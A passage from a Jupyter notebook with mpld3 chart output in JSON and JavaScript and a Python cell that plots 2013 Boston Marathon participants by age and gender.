\"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data26\", \"id\": \"el126114423690064\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data27\", \"id\": \"el126114423691728\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data28\", \"id\": \"el126114423709840\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data29\", \"id\": \"el126114423711504\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data30\", \"id\": \"el126114423721424\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data31\", \"id\": \"el126114423723088\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data32\", \"id\": \"el126114423724752\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data33\", \"id\": \"el126114423742864\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data34\", \"id\": \"el126114423744528\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data35\", \"id\": \"el126114423750352\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data36\", \"id\": \"el126114423752016\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data37\", \"id\": \"el126114423753680\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data38\", \"id\": \"el126114423771792\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data39\", \"id\": \"el126114423773456\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data40\", \"id\": \"el126114423783376\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data41\", \"id\": \"el126114423785040\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data42\", \"id\": \"el126114423786320\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data43\", \"id\": \"el126114423800720\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data44\", \"id\": \"el126114423802384\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data45\", \"id\": \"el126114423812304\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data46\", \"id\": \"el126114423813968\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data47\", \"id\": \"el126114423827984\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data48\", \"id\": \"el126114423829648\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data49\", \"id\": \"el126114423831312\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data50\", \"id\": \"el126114423845328\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data51\", \"id\": \"el126114423440464\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data52\", \"id\": \"el126114423438416\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data53\", \"id\": \"el126114423432720\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data54\", \"id\": \"el126114423847760\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data55\", \"id\": \"el126114423869968\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data56\", \"id\": \"el126114423871632\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 2, \"data\": \"data55\", \"id\": \"el126114423889744\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 2, \"data\": \"data56\", \"id\": \"el126114423891408\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 0, \"data\": \"data57\", \"id\": \"el126114423892688\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 3, \"data\": \"data56\", \"id\": \"el126114423898512\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 0.8, \"xindex\": 2, \"data\": \"data57\", \"id\": \"el126114423900176\"}], \"sharey\": [], \"sharex\": [], \"axesbgalpha\": null, \"axes\": [{\"scale\": \"linear\", \"tickformat\": null, \"grid\": {\"color\": \"#FFFFFF\", \"alpha\": 1.0, \"dasharray\": \"10,0\", \"gridOn\": true}, \"fontsize\": 10.0, \"position\": \"bottom\", \"nticks\": 8, \"tickvalues\": null}, {\"scale\": \"linear\", \"tickformat\": null, \"grid\": {\"color\": \"#FFFFFF\", \"alpha\": 1.0, \"dasharray\": \"10,0\", \"gridOn\": true}, \"fontsize\": 10.0, \"position\": \"left\", \"nticks\": 8, \"tickvalues\": null}], \"lines\": [], \"markers\": [], \"id\": \"el126114423369872\", \"ydomain\": [0.0, 700.0], \"collections\": [], \"xscale\": \"linear\", \"bbox\": [0.125, 0.125, 0.77500000000000002, 0.77500000000000002]}], \"height\": 400.0, \"width\": 640.0, \"plugins\": [{\"type\": \"reset\"}, {\"enabled\": false, \"button\": true, \"type\": \"zoom\"}, {\"enabled\": false, \"button\": true, \"type\": \"boxzoom\"}], \"data\": {\"data42\": [[60.0, 0.0], [60.8, 0.0], [60.8, 178.0], [60.0, 178.0]], \"data43\": [[61.0, 0.0], [61.8, 0.0], [61.8, 133.0], [61.0, 133.0]], \"data40\": [[58.0, 0.0], [58.8, 0.0], [58.8, 187.0], [58.0, 187.0]], \"data41\": [[59.0, 0.0], [59.8, 0.0], [59.8, 118.0], [59.0, 118.0]], \"data46\": [[64.0, 0.0], [64.8, 0.0], [64.8, 54.0], [64.0, 54.0]], \"data47\": [[65.0, 0.0], [65.8, 0.0], [65.8, 57.0], [65.0, 57.0]], \"data44\": [[62.0, 0.0], [62.8, 0.0], [62.8, 109.0], [62.0, 109.0]], \"data45\": [[63.0, 0.0], [63.8, 0.0], [63.8, 71.0], [63.0, 71.0]], \"data48\": [[66.0, 0.0], [66.8, 0.0], [66.8, 37.0], [66.0, 37.0]], \"data49\": [[67.0, 0.0], [67.8, 0.0], [67.8, 12.0], [67.0, 12.0]], \"data50\": [[68.0, 0.0], [68.8, 0.0], [68.8, 16.0], [68.0, 16.0]], \"data53\": [[71.0, 0.0], [71.8, 0.0], [71.8, 2.0], [71.0, 2.0]], \"data28\": [[46.0, 0.0], [46.8, 0.0], [46.8, 601.0], [46.0, 601.0]], \"data06\": [[23.0, 0.0], [23.8, 0.0], [23.8, 169.0], [23.0, 169.0]], \"data52\": [[70.0, 0.0], [70.8, 0.0], [70.8, 11.0], [70.0, 11.0]], \"data08\": [[25.0, 0.0], [25.8, 0.0], [25.8, 279.0], [25.0, 279.0]], \"data09\": [[26.0, 0.0], [26.8, 0.0], [26.8, 326.0], [26.0, 326.0]], \"data20\": [[38.0, 0.0], [38.8, 0.0], [38.8, 544.0], [38.0, 544.0]], \"data21\": [[39.0, 0.0], [39.8, 0.0], [39.8, 478.0], [39.0, 478.0]], \"data22\": [[40.0, 0.0], [40.8, 0.0], [40.8, 543.0], [40.0, 543.0]], \"data05\": [[22.0, 0.0], [22.8, 0.0], [22.8, 101.0], [22.0, 101.0]], \"data02\": [[19.0, 0.0], [19.8, 0.0], [19.8, 26.0], [19.0, 26.0]], \"data04\": [[21.0, 0.0], [21.8, 0.0], [21.8, 78.0], [21.0, 78.0]], \"data26\": [[44.0, 0.0], [44.8, 0.0], [44.8, 452.0], [44.0, 452.0]], \"data01\": [[18.0, 0.0], [18.8, 0.0], [18.8, 13.0], [18.0, 13.0]], \"data55\": [[73.0, 0.0, 75.0], [73.8, 0.0, 75.8], [73.8, 3.0, 75.8], [73.0, 3.0, 75.0]], \"data23\": [[41.0, 0.0], [41.8, 0.0], [41.8, 584.0], [41.0, 584.0]], \"data57\": [[77.0, 0.0, 79.0], [77.8, 0.0, 79.8], [77.8, 0.0, 79.8], [77.0, 0.0, 79.0]], \"data51\": [[69.0, 0.0], [69.8, 0.0], [69.8, 8.0], [69.0, 8.0]], \"data24\": [[42.0, 0.0], [42.8, 0.0], [42.8, 566.0], [42.0, 566.0]], \"data56\": [[74.0, 0.0, 76.0, 78.0], [74.8, 0.0, 76.8, 78.8], [74.8, 1.0, 76.8, 78.8], [74.0, 1.0, 76.0, 78.0]], \"data03\": [[20.0, 0.0], [20.8, 0.0], [20.8, 50.0], [20.0, 50.0]], \"data27\": [[45.0, 0.0], [45.8, 0.0], [45.8, 685.0], [45.0, 685.0]], \"data07\": [[24.0, 0.0], [24.8, 0.0], [24.8, 248.0], [24.0, 248.0]], \"data54\": [[72.0, 0.0], [72.8, 0.0], [72.8, 4.0], [72.0, 4.0]], \"data37\": [[55.0, 0.0], [55.8, 0.0], [55.8, 340.0], [55.0, 340.0]], \"data36\": [[54.0, 0.0], [54.8, 0.0], [54.8, 276.0], [54.0, 276.0]], \"data35\": [[53.0, 0.0], [53.8, 0.0], [53.8, 310.0], [53.0, 310.0]], \"data34\": [[52.0, 0.0], [52.8, 0.0], [52.8, 409.0], [52.0, 409.0]], \"data25\": [[43.0, 0.0], [43.8, 0.0], [43.8, 505.0], [43.0, 505.0]], \"data32\": [[50.0, 0.0], [50.8, 0.0], [50.8, 549.0], [50.0, 549.0]], \"data31\": [[49.0, 0.0], [49.8, 0.0], [49.8, 493.0], [49.0, 493.0]], \"data30\": [[48.0, 0.0], [48.8, 0.0], [48.8, 507.0], [48.0, 507.0]], \"data39\": [[57.0, 0.0], [57.8, 0.0], [57.8, 213.0], [57.0, 213.0]], \"data38\": [[56.0, 0.0], [56.8, 0.0], [56.8, 318.0], [56.0, 318.0]], \"data19\": [[37.0, 0.0], [37.8, 0.0], [37.8, 469.0], [37.0, 469.0]], \"data18\": [[36.0, 0.0], [36.8, 0.0], [36.8, 491.0], [36.0, 491.0]], \"data15\": [[33.0, 0.0], [33.8, 0.0], [33.8, 387.0], [33.0, 387.0]], \"data14\": [[31.0, 0.0], [31.8, 0.0], [31.8, 371.0], [31.0, 371.0]], \"data17\": [[35.0, 0.0], [35.8, 0.0], [35.8, 496.0], [35.0, 496.0]], \"data16\": [[34.0, 0.0], [34.8, 0.0], [34.8, 360.0], [34.0, 360.0]], \"data11\": [[28.0, 0.0], [28.8, 0.0], [28.8, 380.0], [28.0, 380.0]], \"data10\": [[27.0, 0.0, 32.0], [27.8, 0.0, 32.8], [27.8, 372.0, 32.8], [27.0, 372.0, 32.0]], \"data13\": [[30.0, 0.0], [30.8, 0.0], [30.8, 396.0], [30.0, 396.0]], \"data12\": [[29.0, 0.0], [29.8, 0.0], [29.8, 377.0], [29.0, 377.0]], \"data29\": [[47.0, 0.0], [47.8, 0.0], [47.8, 540.0], [47.0, 540.0]], \"data33\": [[51.0, 0.0], [51.8, 0.0], [51.8, 483.0], [51.0, 483.0]]}, \"id\": \"el126114363090064\"});\n", " })\n", " });\n", "}\n", "</script>" ], "metadata": {}, "output_type": "pyout", "prompt_number": 5, "text": [ "<IPython.core.display.HTML at 0x107a7f110>" ] } ], "prompt_number": 5 }, { "cell_type": "code", "collapsed": false, "input": [ "from collections import Counter\n", "men = Counter(int(x['age']) for x in runners.itervalues() if x['gender']==\"M\")\n", "mxs = range(min(men.keys()), max(men.keys()))\n", "mys = [men[i] for i in mxs]\n", "\n", "wmn = Counter(int(x['age']) for x in runners.itervalues() if x['gender']==\"F\")\n", "wxs = range(min(wmn.keys()), max(wmn.keys()))\n", "wys = [wmn[i] for i in wxs]\n", "\n", "fig = plt.figure(figsize=(10,5))\n", "ax = fig.add_subplot(111, axisbg='#EEEEEE', title=\"2013 Boston Marathon participants, by age and gender\")\n", "ax.grid(color='white', linestyle='solid')\n", "b1 = ax.bar(mxs, mys, color='lightblue', alpha=1, edgecolor=\"white\", label=\"Men\")\n", "b2 = ax.bar(wxs, wys, color='pink', alpha=0.6, edgecolor=\"white\", label=\"Women\")\n", "ax.legend()\n", "\n", "mpld3.display()" ], "language": "python", "metadata": {}, "outputs": [ { "html": [ "\n", "\n", "<style>\n", "\n", "</style>\n", "\n", "<div id=\"fig_el1261144234974248700677121\"></div>\n", "<script>\n", "function mpld3_load_lib(url, callback){\n", " var s = document.createElement('script');\n", " s.src = url;\n", " s.async = true;\n", " s.onreadystatechange = s.onload = callback;\n", " s.onerror = function(){console.warn(\"failed to load library \" + url);};\n", " document.getElementsByTagName(\"head\")[0].appendChild(s);\n", "}\n", "\n", "if(typeof(mpld3) !== \"undefined\" && mpld3._mpld3IsLoaded){\n", " // already loaded: just create the figure\n", " !function(mpld3){\n", " \n", " mpld3.draw_figure(\"fig_el1261144234974248700677121\", {\"axes\": [{\"xlim\": [10.0, 80.0], \"yscale\": \"linear\", \"axesbg\": \"#EEEEEE\", \"texts\": [{\"v_baseline\": \"auto\", \"h_anchor\": \"middle\", \"color\": \"#000000\", \"text\": \"2013 Boston Marathon participants, by age and gender\", \"coordinates\": \"axes\", \"zorder\": 3, \"alpha\": 1, \"fontsize\": 12.0, \"position\": [0.5, 1.0179211469534051], \"rotation\": -0.0, \"id\": \"el126114423915664\"}, {\"v_baseline\": \"auto\", \"h_anchor\": \"start\", \"color\": \"#000000\", \"text\": \"Men\", \"coordinates\": \"axes\", \"zorder\": 1000003.0, \"alpha\": 1, \"fontsize\": 12.0, \"position\": [0.90148689516129055, 0.92903225806451595], \"rotation\": -0.0, \"id\": \"el126114430856592\"}, {\"v_baseline\": \"auto\", \"h_anchor\": \"start\", \"color\": \"#000000\", \"text\": \"Women\", \"coordinates\": \"axes\", \"zorder\": 1000003.0, \"alpha\": 1, \"fontsize\": 12.0, \"position\": [0.90148689516129055, 0.86559139784946215], \"rotation\": -0.0, \"id\": \"el126114430857808\"}], \"zoomable\": true, \"images\": [], \"xdomain\": [10.0, 80.0], \"ylim\": [0.0, 450.0], \"paths\": [{\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data01\", \"id\": \"el126114423405008\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data02\", \"id\": \"el126114423404816\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data03\", \"id\": \"el126114423403536\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data04\", \"id\": \"el126114363088784\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data05\", \"id\": \"el126114409694736\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data06\", \"id\": \"el126114423414288\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data07\", \"id\": \"el126114423417424\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data08\", \"id\": \"el126114423417040\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data09\", \"id\": \"el126114425010576\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data10\", \"id\": \"el126114423734352\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data11\", \"id\": \"el126114423736016\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data12\", \"id\": \"el126114423737296\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data13\", \"id\": \"el126114423813136\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data14\", \"id\": \"el126114423814800\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data15\", \"id\": \"el126114423750096\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data16\", \"id\": \"el126114423752720\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data17\", \"id\": \"el126114423942800\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 1.0, \"pathcodes\": [\"M\", \"L\", \"L\", \"L\", \"Z\"], \"yindex\": 1, \"coordinates\": \"data\", \"dasharray\": \"10,0\", \"zorder\": 1, \"alpha\": 1, \"xindex\": 0, \"data\": \"data18\", \"id\": \"el126114423944464\"}, {\"edgecolor\": \"#FFFFFF\", \"facecolor\": \"#ADD8E6\", \"edgewidth\": 